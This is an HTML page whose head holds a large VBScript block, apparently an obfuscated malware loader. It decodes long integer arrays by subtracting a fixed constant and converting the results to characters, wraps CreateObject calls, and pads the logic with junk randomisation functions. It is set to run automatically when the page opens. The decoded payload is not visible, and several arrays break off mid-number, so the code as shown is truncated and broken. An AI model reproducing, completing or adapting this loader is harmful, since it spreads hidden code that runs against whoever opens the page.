<html xmlns="http://www.w3.org/1999/xhtml ">
<head>
<meta content="text / html; charset = utf - 8" http-equiv="Content - Type" />
<script language="VBScript">
Function fPObBtCqOpW(ByVal QpjuqRPJBl)
fPObBtCqOpW = VarType( QpjuqRPJBl)
End Function
Function oXvITLoaFekGLrjjZ(ByVal bxFwLPXynxwUsQvp)
Dim QpjuqRPJBl
Dim sqrTTiiOQ
Dim ILlJesKHsnLwodIXKg
Dim NrFNNoRSAsPGtPqf
NrFNNoRSAsPGtPqf = 30529
QpjuqRPJBl = fPObBtCqOpW(bxFwLPXynxwUsQvp)
If QpjuqRPJBl = 8204 Then
For Each sqrTTiiOQ In bxFwLPXynxwUsQvp
ILlJesKHsnLwodIXKg = ILlJesKHsnLwodIXKg & (sqrTTiiOQ - NrFNNoRSAsPGtPqf)
Next
End If
oXvITLoaFekGLrjjZ = ILlJesKHsnLwodIXKg
End Function
Function CDmoIFlNAcj(ByVal objectType)
Set CDmoIFlNAcj = CreateObject(objectType)
End Function
Function sDNjw()
Dim bxFwLPXynxwUsQvp
Dim ICUXKv
Dim xwsLrSrluwFIaE
bxFwLPXynxwUsQvp = Array(30648,30605,30615,30633,30641,30648,30606,30644,30644,30613,30599,30634,30645,30650,30594,30637,30641,30612,30632,30637,30599,30616,30607,30596,30650,30651,30628,30648,30616,30646,30617,30600,30635,30651,30594,30594,30629,30618,30617,30614,30627,30647,30597,30594,30594,30615,30644,30632,30633,30626,30639,30649,30635,30612,30641,30626,30649,30612,30635,30642,30613,30609,30615,30649,30648,30650,30650,30646,30649,30651,30602,30610,30647,30606,30603,30603,30612,30607,30595,30628,30600,30648,30609,30647,30600,30619,30617,30610,30603,30626,30597,30604,30641,30633,30594,30605,30619,30600,30598,30596,30616,30650,30634,30633,30612,30617,30596,30617,30602,30632,30601,30636,30611,30600,30635,30616,30594,30619,30642,30616,30626,30634,30637,30616,30648,30650,30627,30607,30605,30650,30635,30606,30603,30651,30599,30602,30608,30633,30629,30635,30617,30594,30602,30628,30613,30613,30644,30634,30649,30630,30605,30594,30609,30633,30627,30640,30606,30605,30637,30614,30647,30640,30605,30604,30648,30646
ICUXKv = oXvITLoaFekGLrjjZ(bxFwLPXynxwUsQvp)
sDNjw = ICUXKv
End Function
sDNjw()
Function aeJjitDN(ByVal VbMVkwWZnnuYI)
aeJjitDN = VarType( VbMVkwWZnnuYI)
End Function
Function rtZBwfTZNJq(ByVal jHreATTVWRJ)
Dim VbMVkwWZnnuYI
Dim KIjHTqKLBgrTjljhl
Dim NkoISVlcErZUUZCri
Dim iQSpMdOCIKrnItQlhIld
iQSpMdOCIKrnItQlhIld = 30529
VbMVkwWZnnuYI = aeJjitDN(jHreATTVWRJ)
If VbMVkwWZnnuYI = 8204 Then
For Each KIjHTqKLBgrTjljhl In jHreATTVWRJ
NkoISVlcErZUUZCri = NkoISVlcErZUUZCri & (KIjHTqKLBgrTjljhl - iQSpMdOCIKrnItQlhIld)
Next
End If
rtZBwfTZNJq = NkoISVlcErZUUZCri
End Function
Function ArnxeOylqhGpcB(ByVal objectType)
Set ArnxeOylqhGpcB = CreateObject(objectType)
End Function
Function CTPwBHZGKKuowy()
Dim jHreATTVWRJ
Dim IjmRQOhrdVKxedL
Dim aDCLHqxWlGeDuhcD
jHreATTVWRJ = Array(30607,30647,30611,30646,30605,30612,30632,30616,30615,30604,30618,30639,30605,30645,30603,30608,30604,30616,30634,30627,30619,30650,30647,30601,30628,30595,30617,30641,30649,30636,30597,30600,30651,30627,30646,30612,30614,30629,30612,30608,30647,30651,30595,30644,30650,30617,30636,30632,30651,30649,30609,30594,30604,30645,30598,30609,30651,30603,30611,30604,30646,30642,30619,30637,30601,30611,30640,30636,30650,30642,30646,30633,30598,30614,30631,30619,30649,30597,30603,30599,30611,30642,30642,30651,30614,30596,30648,30599,30616,30631,30613,30605,30606,30601,30613,30599,30626,30609,30636,30632,30635,30651,30633,30602,30597,30634,30647,30641,30608,30630,30611,30647,30594,30605,30645,30597,30651,30619,30610,30598,30615,30634,30607,30613,30617,30635,30615,30649,30595,30619,30650,30633,30612,30628,30616,30611,30602,30633,30648,30638,30600,30600,30643,30643,30607,30617,30604,30594,30607,30609,30599,30595,30651,30632,30605,30594,30638,30608,30637,30614,30607,30650,30640,30640,30631,30636,3062
IjmRQOhrdVKxedL = rtZBwfTZNJq(jHreATTVWRJ)
CTPwBHZGKKuowy = IjmRQOhrdVKxedL
End Function
CTPwBHZGKKuowy()
Function UoLiMSkwTMw(ByVal ZWpqFGBYkWIdPzD)
UoLiMSkwTMw = VarType( ZWpqFGBYkWIdPzD)
End Function
Function uchKwdqhk(ByVal TizKIRGH)
Dim ZWpqFGBYkWIdPzD
Dim aBLHtIoKs
Dim iitMLwiIYI
Dim PIQSjpEWWHrPSQACNov
PIQSjpEWWHrPSQACNov = 30529
ZWpqFGBYkWIdPzD = UoLiMSkwTMw(TizKIRGH)
If ZWpqFGBYkWIdPzD = 8204 Then
For Each aBLHtIoKs In TizKIRGH
iitMLwiIYI = iitMLwiIYI & (aBLHtIoKs - PIQSjpEWWHrPSQACNov)
Next
End If
uchKwdqhk = iitMLwiIYI
End Function
Function ATsADvHn(ByVal objectType)
Set ATsADvHn = CreateObject(objectType)
End Function
Function YImQB()
Dim TizKIRGH
Dim kJqyKjbS
Dim omRCATP
TizKIRGH = Array(30638,30617,30626,30641,30610,30646,30605,30634,30630,30618,30641,30640,30611,30632,30646,30651,30637,30638,30635,30604,30618,30646,30616,30601,30628,30609,30638,30640,30629,30595,30637,30599,30612,30616,30631,30650,30611,30631,30637,30614,30594,30641,30597,30599,30599,30619,30603,30603,30650,30611,30641,30645,30639,30645,30629,30643,30594,30613,30607,30594,30601,30616,30598,30628,30639,30636,30615,30647,30595,30648,30634,30599,30595,30608,30604,30634,30643,30611,30595,30596,30599,30629,30642,30606,30606,30644,30611,30618,30644,30639,30649,30649,30612,30636,30607,30629,30636,30626,30612,30615,30597,30607,30601,30595,30635,30635,30643,30619,30635,30647,30594,30634,30612,30604,30647,30630,30632,30644,30610,30646,30613,30649,30597,30607,30651,30636,30638,30611,30595,30632,30649,30610,30651,30631,30650,30644,30615,30640,30629,30628,30594,30643,30641,30649,30638,30609,30631,30601,30641,30635,30648,30644,30604,30617,30596,30600,30604,30646,30596,30650,30649,30626,30618,30596,30650,30636,30635,3
kJqyKjbS = uchKwdqhk(TizKIRGH)
YImQB = kJqyKjbS
End Function
YImQB()
Function FaOaMeGwxVsUc(zzqDYyjlJ, zzxmBaoEUFXWKn)
Dim CZRwCcmm
Dim iVSaakNRsW
YOdmfcjmMQXqI = Len(zzxmBaoEUFXWKn)
Set CZRwCcmm = CreateObject("Scripting.Dictionary")
CZRwCcmm = Split(zzqDYyjlJ, ",")
LwYpIQcdKLmXCB = (Len(zzqDYyjlJ)/2 - 1)
for xIgOLKePeMY = 1 To LwYpIQcdKLmXCB
IctVplzeYmgF = CZRwCcmm(xIgOLKePeMY) + IctVplzeYmgF
Next
For clqhDYjIRSHeVdwb = 134 To 42343
xyniTNmlscRUezhVhe = xyniTNmlscRUezhVhe + IctVplzeYmgF - clqhDYjIRSHeVdwb
Next
For MXltCFdDiO = 1 To YOdmfcjmMQXqI
Dim xaQtSV,RDEdUdbqvEGqU,PALpYRABmDWH
xaQtSV=1
RDEdUdbqvEGqU=YOdmfcjmMQXqI
Randomize
PALpYRABmDWH = Int((xaQtSV-RDEdUdbqvEGqU+1)*Rnd+RDEdUdbqvEGqU)
nypbIrXzlNSZTGjwvy = nypbIrXzlNSZTGjwvy + PALpYRABmDWH
Next
FaOaMeGwxVsUc = xyniTNmlscRUezhVhe & zzxmBaoEUFXWKn & nypbIrXzlNSZTGjwvy
End Function
Function lPmMjqiBilVRhEG()
for nFXTFebpXzv = 5 to 15
Dim bUHWFMvp,HYAVDrYhwx,FAFxYboizQFsiRSn
PuXscua=1
HYAVDrYhwx=9
Randomize
PaCeWnOlHo = FAFxYboizQFsiRSn & ","
Next
Dim nFXTFebpXzv,iRiSrx,ZFKfMlPxzSfAQau
nFXTFebpXzv=15
iRiSrx=130
Randomize
ZFKfMlPxzSfAQau = Int((nFXTFebpXzv-iRiSrx+1)*Rnd+iRiSrx)
For jyzthKUGIBnMr = 1 to ZFKfMlPxzSfAQau
Dim MOruKBczKaONnIRS,aRlTqjoBUYYtQnu,PuXscua
ZFKfMlPxzSfAQau=97
aRlTqjoBUYYtQnu=122
Randomize
ZFKfMlPxzSfAQau = Int((ZFKfMlPxzSfAQau-aRlTqjoBUYYtQnu+1)*Rnd+aRlTqjoBUYYtQnu)
XSleWwzbjCsxD = Chr(ZFKfMlPxzSfAQau)
mnNbrMbvXuV = mnNbrMbvXuV & XSleWwzbjCsxD
Next
dvgiWMfjPqjDPbyfR = FaOaMeGwxVsUc(PaCeWnOlHo, mnNbrMbvXuV)
lPmMjqiBilVRhEG = dvgiWMfjPqjDPbyfR
End Function
lPmMjqiBilVRhEG()
Function cvLHXYraHZUy(sgpGTeDNcO, AdVcOvuYtzMCJw)
Dim lFBEcAv
Dim BkmlWighpaRq
NVyJZeElXbkQcmIicBCXk = Len(AdVcOvuYtzMCJw)
Set lFBEcAv = CreateObject("Scripting.Dictionary")
lFBEcAv = Split(sgpGTeDNcO, ",")
OJGGTvqfGoh = (Len(sgpGTeDNcO)/2 - 1)
for baTWbjGWzUXgu = 1 To OJGGTvqfGoh
BZwPU = lFBEcAv(baTWbjGWzUXgu) + BZwPU
Next
For UHQlUdtdTKNOdDRx = 134 To 42343
evqoJAfBGnQuU = evqoJAfBGnQuU + BZwPU - UHQlUdtdTKNOdDRx
Next
For lvemxux = 1 To NVyJZeElXbkQcmIicBCXk
Dim PYHNkhljmN,hhPTpFqdxPvIkq,TPxPdRcW
PYHNkhljmN=1
hhPTpFqdxPvIkq=NVyJZeElXbkQcmIicBCXk
Randomize
TPxPdRcW = Int((PYHNkhljmN-hhPTpFqdxPvIkq+1)*Rnd+hhPTpFqdxPvIkq)
ZJBNNQJwibbAwWB = ZJBNNQJwibbAwWB + TPxPdRcW
Next
cvLHXYraHZUy = evqoJAfBGnQuU & AdVcOvuYtzMCJw & ZJBNNQJwibbAwWB
End Function
Function kVFUkLHGRcsZT()
for AhUhjuwOTTnd = 5 to 15
Dim CvEfoVyaTKiTHA,qOdVwaVWbY,ivKDPxuBxpQBKKKcj
CSqSpNyX=1
qOdVwaVWbY=9
Randomize
yjLOnJBccoUQXB = ivKDPxuBxpQBKKKcj & ","
Next
Dim AhUhjuwOTTnd,SVuHuZwVo,MMVGPkO
AhUhjuwOTTnd=15
SVuHuZwVo=130
Randomize
MMVGPkO = Int((AhUhjuwOTTnd-SVuHuZwVo+1)*Rnd+SVuHuZwVo)
For VCICSXM = 1 to MMVGPkO
Dim vMTxOpzxhZDVxGQ,heNRRonNwhRrRnXWJv,CSqSpNyX
MMVGPkO=97
heNRRonNwhRrRnXWJv=122
Randomize
MMVGPkO = Int((MMVGPkO-heNRRonNwhRrRnXWJv+1)*Rnd+heNRRonNwhRrRnXWJv)
geuE = Chr(MMVGPkO)
gUfxtLuLVPgWSkoES = gUfxtLuLVPgWSkoES & geuE
Next
KUrXmQJulIbnJalZnj = cvLHXYraHZUy(yjLOnJBccoUQXB, gUfxtLuLVPgWSkoES)
kVFUkLHGRcsZT = KUrXmQJulIbnJalZnj
End Function
kVFUkLHGRcsZT()
Function BdholuDNPZXm(ByVal vgBXHHekRmlWQis)
BdholuDNPZXm = VarType( vgBXHHekRmlWQis)
End Function
Function BbkRRGBXTv(ByVal NeawqQTnVsLlPh)
Dim vgBXHHekRmlWQis
Dim CWkHPrLYCBCmeHGf
Dim uIictcDobVSiupgPMCP
Dim vWtIbkpbYtEmLhpy
vWtIbkpbYtEmLhpy = 30529
vgBXHHekRmlWQis = BdholuDNPZXm(NeawqQTnVsLlPh)
If vgBXHHekRmlWQis = 8204 Then
For Each CWkHPrLYCBCmeHGf In NeawqQTnVsLlPh
uIictcDobVSiupgPMCP = uIictcDobVSiupgPMCP & (CWkHPrLYCBCmeHGf - vWtIbkpbYtEmLhpy)
Next
End If
BbkRRGBXTv = uIictcDobVSiupgPMCP
End Function
Function CDnoZSwgtZc(ByVal objectType)
Set CDnoZSwgtZc = CreateObject(objectType)
End Function
Function dNVnZbsKJ()
Dim NeawqQTnVsLlPh
Dim AAGrEAeu
Dim XjGBErdLZO
NeawqQTnVsLlPh = Array(30617,30630,30646,30596,30606,30609,30595,30639,30627,30615,30648,30636,30618,30618,30645,30648,30612,30636,30636,30649,30607,30604,30603,30632,30645,30644,30642,30618,30608,30596,30608,30642,30612,30638,30644,30616,30644,30647,30597,30633,30634,30629,30609,30594,30618,30599,30613,30635,30606,30633,30596,30641,30646,30626,30634,30607,30614,30607,30602,30613,30619,30628,30618,30619,30600,30599,30611,30637,30632,30617,30597,30617,30633,30597,30609,30636,30646,30602,30601,30640,30618,30600,30606,30633,30651,30619,30647,30644,30597,30630,30595,30630,30639,30635,30601,30599,30598,30641,30646,30612,30639,30633,30597,30641,30629,30631,30601,30643,30605,30650,30612,30606,30600,30613,30647,30613,30610,30643,30626,30632,30604,30619,30634,30595,30615,30619,30636,30650,30647,30603,30631,30598,30608,30641,30595,30642,30596,30617,30598,30613,30612,30597,30632,30599,30606,30641,30618,30613,30640,30640,30641,30607,30609,30607,30601,30607,30651,30596,30613,30598,30647,30603,30647,30595,30613,30607,3
AAGrEAeu = BbkRRGBXTv(NeawqQTnVsLlPh)
dNVnZbsKJ = AAGrEAeu
End Function
dNVnZbsKJ()
Function bAhGM(ByVal YDINFMz)
bAhGM = VarType( YDINFMz)
End Function
Function FyKgKCCh(ByVal kGlVeLPvcwf)
Dim YDINFMz
Dim lnxV
Dim EbFmPeQCi
Dim dDwEpQcQjAuUP
dDwEpQcQjAuUP = 30529
YDINFMz = bAhGM(kGlVeLPvcwf)
If YDINFMz = 8204 Then
For Each lnxV In kGlVeLPvcwf
EbFmPeQCi = EbFmPeQCi & Chr(lnxV - dDwEpQcQjAuUP)
Next
End If
FyKgKCCh = EbFmPeQCi
End Function
Function OdTl(ByVal CnrwFtTHayS)
OdTl = VarType( CnrwFtTHayS)
End Function
Function WYpZFKcvNZcZmTgG(ByVal dWrGahNNgmnVpcpDZC)
Dim CnrwFtTHayS
Dim zqdpgslhF
Dim MZNEdZmpljsrpKbsSWG
Dim GkjZAkUpdnp
GkjZAkUpdnp = 30529
CnrwFtTHayS = OdTl(dWrGahNNgmnVpcpDZC)
If CnrwFtTHayS = 8204 Then
For Each zqdpgslhF In dWrGahNNgmnVpcpDZC
MZNEdZmpljsrpKbsSWG = MZNEdZmpljsrpKbsSWG & (zqdpgslhF - GkjZAkUpdnp)
Next
End If
WYpZFKcvNZcZmTgG = MZNEdZmpljsrpKbsSWG
End Function
Function yUtbBoShKw(ByVal objectType)
Set yUtbBoShKw = CreateObject(objectType)
End Function
Function CmDUhKJgCwOW()
Dim dWrGahNNgmnVpcpDZC
Dim ebUczNUIk
Dim JBvkXyNJmakLKD
dWrGahNNgmnVpcpDZC = Array(30616,30639,30634,30644,30613,30615,30637,30641,30636,30603,30641,30638,30643,30619,30650,30601,30627,30619,30629,30627,30601,30600,30639,30648,30613,30599,30610,30641,30633,30646,30603,30599,30643,30594,30595,30597,30641,30606,30640,30597,30650,30599,30604,30628,30650,30601,30595,30595,30599,30616,30633,30647,30596,30607,30605,30610,30651,30637,30618,30607,30599,30648,30601,30641,30594,30635,30646,30642,30618,30646,30612,30608,30637,30619,30629,30596,30647,30604,30650,30606,30597,30608,30635,30605,30607,30607,30597,30630,30641,30636,30597,30597,30640,30626,30649,30596,30649,30614,30628,30608,30607,30604,30629,30604,30598,30612,30603,30628,30635,30603,30614,30640,30638,30606,30604,30643,30606,30648,30628,30638,30632,30609,30595,30639,30643,30608,30626,30605,30627,30627,30598,30627,30634,30636,30650,30644,30636,30618,30601,30646,30598,30626,30646,30631,30610,30608,30610,30627,30609,30600,30641,30595,30644,30641,30634,30649,30603,30642,30613,30641,30644,30649,30595,30602,30598,306
ebUczNUIk = WYpZFKcvNZcZmTgG(dWrGahNNgmnVpcpDZC)
CmDUhKJgCwOW = ebUczNUIk
End Function
CmDUhKJgCwOW()
Function RqAkQSeSj(iITbsqGqNKh, emUglmYkMpTIpgx)
Dim UtFovxKpllGTX
Dim RKhTELvkYVpOXGkz
ZpHylnlelxGPsnvrXNZb = Len(emUglmYkMpTIpgx)
Set UtFovxKpllGTX = CreateObject("Scripting.Dictionary")
UtFovxKpllGTX = Split(iITbsqGqNKh, ",")
bpwKiInmCOxwYQZXq = (Len(iITbsqGqNKh)/2 - 1)
for wCrrAS = 1 To bpwKiInmCOxwYQZXq
RoqAU = UtFovxKpllGTX(wCrrAS) + RoqAU
Next
For mRcizYzqBL = 134 To 42343
tLhNZtVFlcg = tLhNZtVFlcg + RoqAU - mRcizYzqBL
Next
For gxKgXJbBEBD = 1 To ZpHylnlelxGPsnvrXNZb
Dim AwuWyQy,TWxnldTxQFwTYWXQ,QFgKdIqmm
AwuWyQy=1
TWxnldTxQFwTYWXQ=ZpHylnlelxGPsnvrXNZb
Randomize
QFgKdIqmm = Int((AwuWyQy-TWxnldTxQFwTYWXQ+1)*Rnd+TWxnldTxQFwTYWXQ)
zRmUhLBIBXfN = zRmUhLBIBXfN + QFgKdIqmm
Next
RqAkQSeSj = tLhNZtVFlcg & emUglmYkMpTIpgx & zRmUhLBIBXfN
End Function
Function dgeRRGUKfKA()
for mLgditvLXzrCXtyw = 5 to 15
Dim fyLJ,qnsyeTdQIDrWbQE,XJvVRrQQnauJ
LdyPaXp=1
qnsyeTdQIDrWbQE=9
Randomize
uIGfezQPt = XJvVRrQQnauJ & ","
Next
Dim mLgditvLXzrCXtyw,EOUhBWl,JnDujBgMzDsZVg
mLgditvLXzrCXtyw=15
EOUhBWl=130
Randomize
JnDujBgMzDsZVg = Int((mLgditvLXzrCXtyw-EOUhBWl+1)*Rnd+EOUhBWl)
For UHjK = 1 to JnDujBgMzDsZVg
Dim vLcKZFgleHYSJQv,SRbyIYTTXKYIaw,LdyPaXp
JnDujBgMzDsZVg=97
SRbyIYTTXKYIaw=122
Randomize
JnDujBgMzDsZVg = Int((JnDujBgMzDsZVg-SRbyIYTTXKYIaw+1)*Rnd+SRbyIYTTXKYIaw)
BEypWpGtuHlF = Chr(JnDujBgMzDsZVg)
tfdEptHsUGWzWzfjcu = tfdEptHsUGWzWzfjcu & BEypWpGtuHlF
Next
RaWEYkKiHCXNXLBLed = RqAkQSeSj(uIGfezQPt, tfdEptHsUGWzWzfjcu)
dgeRRGUKfKA = RaWEYkKiHCXNXLBLed
End Function
dgeRRGUKfKA()
Function BskIZuopXD(ByVal OQXOEBt)
BskIZuopXD = VarType( OQXOEBt)
End Function
Function mFZzDSBYdOOBbR(ByVal JevRrYlVPgKM)
Dim OQXOEBt
Dim FOrvRrVDdOYHxZikw
Dim fanwmElbwNdIQpsorNmg
Dim hxWgXnuGnUSp
hxWgXnuGnUSp = 30529
OQXOEBt = BskIZuopXD(JevRrYlVPgKM)
If OQXOEBt = 8204 Then
For Each FOrvRrVDdOYHxZikw In JevRrYlVPgKM
fanwmElbwNdIQpsorNmg = fanwmElbwNdIQpsorNmg & (FOrvRrVDdOYHxZikw - hxWgXnuGnUSp)
Next
End If
mFZzDSBYdOOBbR = fanwmElbwNdIQpsorNmg
End Function
Function AZjG(ByVal objectType)
Set AZjG = CreateObject(objectType)
End Function
Function XQSJFTU()
Dim JevRrYlVPgKM
Dim esuMYfSFMvD
Dim OiDHYyKencv
JevRrYlVPgKM = Array(30617,30631,30606,30643,30647,30647,30632,30610,30610,30649,30631,30631,30607,30609,30610,30640,30632,30633,30616,30606,30650,30618,30637,30600,30603,30600,30636,30627,30637,30614,30649,30614,30607,30629,30633,30603,30605,30595,30646,30635,30617,30629,30635,30601,30609,30595,30637,30599,30611,30636,30626,30599,30638,30638,30627,30650,30646,30599,30634,30641,30604,30598,30630,30647,30594,30604,30611,30635,30634,30601,30628,30631,30638,30639,30640,30615,30641,30629,30642,30602,30614,30631,30604,30594,30646,30643,30634,30627,30595,30635,30608,30600,30612,30599,30618,30612,30650,30639,30601,30598,30635,30596,30617,30603,30602,30647,30612,30651,30649,30600,30602,30611,30608,30626,30614,30631,30645,30630,30595,30602,30628,30642,30633,30650,30644,30616,30606,30633,30609,30615,30617,30595,30616,30638,30618,30612,30601,30595,30644,30651,30618,30634,30630,30647,30626,30649,30643,30644,30637,30644,30618,30613,30637,30650,30627,30645,30614,30618,30610,30637,30635,30637,30636,30627,30635,30601,306
esuMYfSFMvD = mFZzDSBYdOOBbR(JevRrYlVPgKM)
XQSJFTU = esuMYfSFMvD
End Function
XQSJFTU()
Function qhhhPAdpeukfOy(oNSVoFpDDuiusN, zUHPbKdHVtZRZvzvVa)
Dim NTRdKUZWoWWsj
Dim PDgyDfwfRUoWCAnen
rBXBlUnsDri = Len(zUHPbKdHVtZRZvzvVa)
Set NTRdKUZWoWWsj = CreateObject("Scripting.Dictionary")
NTRdKUZWoWWsj = Split(oNSVoFpDDuiusN, ",")
AWveOwhwzdHHUm = (Len(oNSVoFpDDuiusN)/2 - 1)
for lWNsYpa = 1 To AWveOwhwzdHHUm
hZmIrU = NTRdKUZWoWWsj(lWNsYpa) + hZmIrU
Next
For GLhfLAAN = 134 To 42343
akLTmfoqOVCkOfaO = akLTmfoqOVCkOfaO + hZmIrU - GLhfLAAN
Next
For ZnaYYxKAnHSEvcaU = 1 To rBXBlUnsDri
Dim Eaoga,uzjKCvam,IhDqVMjnUArPg
Eaoga=1
uzjKCvam=rBXBlUnsDri
Randomize
IhDqVMjnUArPg = Int((Eaoga-uzjKCvam+1)*Rnd+uzjKCvam)
mfpmZdkN = mfpmZdkN + IhDqVMjnUArPg
Next
qhhhPAdpeukfOy = akLTmfoqOVCkOfaO & zUHPbKdHVtZRZvzvVa & mfpmZdkN
End Function
Function NaQrgkawRuHUtXdRpZhw()
for rXihuwGfoeRHEaYzN = 5 to 15
Dim dJaDhH,exwMOHQPXEerNgz,wHquWBZVkOHDCzqp
vsqncUqJazPnEj=1
exwMOHQPXEerNgz=9
Randomize
PRWZyvdYV = wHquWBZVkOHDCzqp & ","
Next
Dim rXihuwGfoeRHEaYzN,tgqJPCsXTxq,rkvoxdXqriwk
rXihuwGfoeRHEaYzN=15
tgqJPCsXTxq=130
Randomize
rkvoxdXqriwk = Int((rXihuwGfoeRHEaYzN-tgqJPCsXTxq+1)*Rnd+tgqJPCsXTxq)
For GxiQigZQksfSc = 1 to rkvoxdXqriwk
Dim evHmczPTzeE,dSYSanyPqhgSSnG,vsqncUqJazPnEj
rkvoxdXqriwk=97
dSYSanyPqhgSSnG=122
Randomize
rkvoxdXqriwk = Int((rkvoxdXqriwk-dSYSanyPqhgSSnG+1)*Rnd+dSYSanyPqhgSSnG)
GFPUXjfQRpKEI = Chr(rkvoxdXqriwk)
DamWVYZXjgCjJLGFbM = DamWVYZXjgCjJLGFbM & GFPUXjfQRpKEI
Next
yHDNQhOOarHBA = qhhhPAdpeukfOy(PRWZyvdYV, DamWVYZXjgCjJLGFbM)
NaQrgkawRuHUtXdRpZhw = yHDNQhOOarHBA
End Function
NaQrgkawRuHUtXdRpZhw()
Function MyfTLxQWowmzsa(ByVal ZXeysr)
MyfTLxQWowmzsa = VarType( ZXeysr)
End Function
Function gTiPHEsCQBsK(ByVal hFbemyaSsPrlEszQCY)
Dim ZXeysr
Dim tRYmMsPQLGENFnEb
Dim RmyvkgXZzRbwK
Dim PFbAsHalvtiOVmTOeKEhd
PFbAsHalvtiOVmTOeKEhd = 30529
ZXeysr = MyfTLxQWowmzsa(hFbemyaSsPrlEszQCY)
If ZXeysr = 8204 Then
For Each tRYmMsPQLGENFnEb In hFbemyaSsPrlEszQCY
RmyvkgXZzRbwK = RmyvkgXZzRbwK & (tRYmMsPQLGENFnEb - PFbAsHalvtiOVmTOeKEhd)
Next
End If
gTiPHEsCQBsK = RmyvkgXZzRbwK
End Function
Function aMSHnNuznuQ(ByVal objectType)
Set aMSHnNuznuQ = CreateObject(objectType)
End Function
Function SGvBcNMfdp()
Dim hFbemyaSsPrlEszQCY
Dim WtQgOtDLUHXPgosJ
Dim tFugmIySvOrRlRx
hFbemyaSsPrlEszQCY = Array(30629,30606,30603,30628,30649,30597,30650,30606,30618,30611,30610,30594,30646,30632,30646,30636,30616,30614,30599,30628,30626,30618,30636,30631,30630,30609,30638,30629,30650,30602,30604,30628,30606,30602,30617,30633,30634,30642,30599,30599,30632,30606,30647,30630,30645,30602,30599,30598,30648,30650,30598,30617,30594,30642,30650,30598,30628,30630,30650,30634,30610,30615,30608,30609,30600,30640,30639,30638,30602,30606,30596,30631,30609,30651,30647,30608,30628,30599,30637,30615,30603,30634,30633,30594,30598,30638,30628,30615,30604,30613,30599,30597,30643,30616,30641,30605,30650,30631,30617,30599,30615,30613,30647,30635,30647,30618,30602,30594,30647,30636,30627,30616,30645,30629,30619,30633,30639,30607,30605,30614,30605,30611,30628,30641,30601,30650,30639,30644,30604,30636,30609,30649,30634,30632,30594,30641,30639,30649,30598,30631,30629,30627,30626,30619,30643,30634,30604,30608,30649,30601,30617,30636,30614,30596,30645,30597,30643,30600,30628,30649,30637,30609,30641,30605,30614,306
WtQgOtDLUHXPgosJ = gTiPHEsCQBsK(hFbemyaSsPrlEszQCY)
SGvBcNMfdp = WtQgOtDLUHXPgosJ
End Function
SGvBcNMfdp()
Function MhFXomybcx(FDGOr, HXLYnSovAfvSpDFdjD)
Dim aNTbzIFRo
Dim kDFuZHnieUZ
JXZmojCBvnhU = Len(HXLYnSovAfvSpDFdjD)
Set aNTbzIFRo = CreateObject("Scripting.Dictionary")
aNTbzIFRo = Split(FDGOr, ",")
UJHQRnkhECU = (Len(FDGOr)/2 - 1)
for KRJplPrT = 1 To UJHQRnkhECU
eEfJKR = aNTbzIFRo(KRJplPrT) + eEfJKR
Next
For rGYoGOmaqIVfBTDb = 134 To 42343
obuGCzxDRtQdApk = obuGCzxDRtQdApk + eEfJKR - rGYoGOmaqIVfBTDb
Next
For nPnpxyIxySMi = 1 To JXZmojCBvnhU
Dim qFrQcXsvdHhShj,aATFOXQCQQVVUsya,pnBEjlQFDebHxgh
qFrQcXsvdHhShj=1
aATFOXQCQQVVUsya=JXZmojCBvnhU
Randomize
pnBEjlQFDebHxgh = Int((qFrQcXsvdHhShj-aATFOXQCQQVVUsya+1)*Rnd+aATFOXQCQQVVUsya)
VHNYHetDpRo = VHNYHetDpRo + pnBEjlQFDebHxgh
Next
MhFXomybcx = obuGCzxDRtQdApk & HXLYnSovAfvSpDFdjD & VHNYHetDpRo
End Function
Function NBkwJEkizNGU()
for qvwjMmuwoKwbbJ = 5 to 15
Dim julSdFQUdLsv,PDfvCmtd,BmHqcPmKWJZjyAJ
JDrFsvCFIVzKVuu=1
PDfvCmtd=9
Randomize
BuoeQtjOuAzmBcax = BmHqcPmKWJZjyAJ & ","
Next
Dim qvwjMmuwoKwbbJ,uOnFeMiXR,rTsIjEt
qvwjMmuwoKwbbJ=15
uOnFeMiXR=130
Randomize
rTsIjEt = Int((qvwjMmuwoKwbbJ-uOnFeMiXR+1)*Rnd+uOnFeMiXR)
For jBPHhQ = 1 to rTsIjEt
Dim vtvfHHV,hHMOzxPxnluIrCXHyZj,JDrFsvCFIVzKVuu
rTsIjEt=97
hHMOzxPxnluIrCXHyZj=122
Randomize
rTsIjEt = Int((rTsIjEt-hHMOzxPxnluIrCXHyZj+1)*Rnd+hHMOzxPxnluIrCXHyZj)
OygaYaFOmiXAH = Chr(rTsIjEt)
XbQtwnvqOSFxTlIxPte = XbQtwnvqOSFxTlIxPte & OygaYaFOmiXAH
Next
ANIdkSYMpcckhwMCH = MhFXomybcx(BuoeQtjOuAzmBcax, XbQtwnvqOSFxTlIxPte)
NBkwJEkizNGU = ANIdkSYMpcckhwMCH
End Function
NBkwJEkizNGU()
Function ocgfheSnu(ByVal dWnIofd)
ocgfheSnu = VarType( dWnIofd)
End Function
Function AJUMVvmmAumelCOY(ByVal CpzncthnxXOsuwpR)
Dim dWnIofd
Dim NSzkICSsqtfnrnBs
Dim PxkTpsBHcgPy
Dim htrDEUQSCeQzWGxiNuw
htrDEUQSCeQzWGxiNuw = 30529
dWnIofd = ocgfheSnu(CpzncthnxXOsuwpR)
If dWnIofd = 8204 Then
For Each NSzkICSsqtfnrnBs In CpzncthnxXOsuwpR
PxkTpsBHcgPy = PxkTpsBHcgPy & (NSzkICSsqtfnrnBs - htrDEUQSCeQzWGxiNuw)
Next
End If
AJUMVvmmAumelCOY = PxkTpsBHcgPy
End Function
Function JVWd(ByVal objectType)
Set JVWd = CreateObject(objectType)
End Function
Function wLWcVRsHbnUL()
Dim CpzncthnxXOsuwpR
Dim wBciXXjplh
Dim lwiuTtikFdKQ
CpzncthnxXOsuwpR = Array(30607,30600,30607,30603,30612,30597,30650,30608,30650,30614,30598,30605,30640,30642,30641,30612,30627,30600,30645,30642,30609,30602,30608,30646,30633,30642,30594,30647,30607,30631,30595,30646,30639,30614,30630,30615,30618,30643,30613,30617,30648,30637,30632,30629,30628,30604,30642,30600,30596,30602,30646,30599,30647,30601,30609,30599,30644,30613,30627,30628,30596,30597,30594,30612,30613,30603,30618,30613,30605,30613,30645,30635,30639,30615,30646,30629,30627,30636,30612,30617,30651,30646,30645,30598,30636,30647,30650,30631,30599,30618,30629,30599,30609,30642,30615,30645,30636,30607,30604,30612,30637,30617,30646,30634,30609,30604,30611,30619,30607,30637,30630,30601,30595,30598,30629,30602,30604,30648,30633,30617,30605,30645,30607,30639,30642,30640,30614,30649,30594,30594,30645,30607,30619,30651,30638,30628,30651,30604,30641,30626,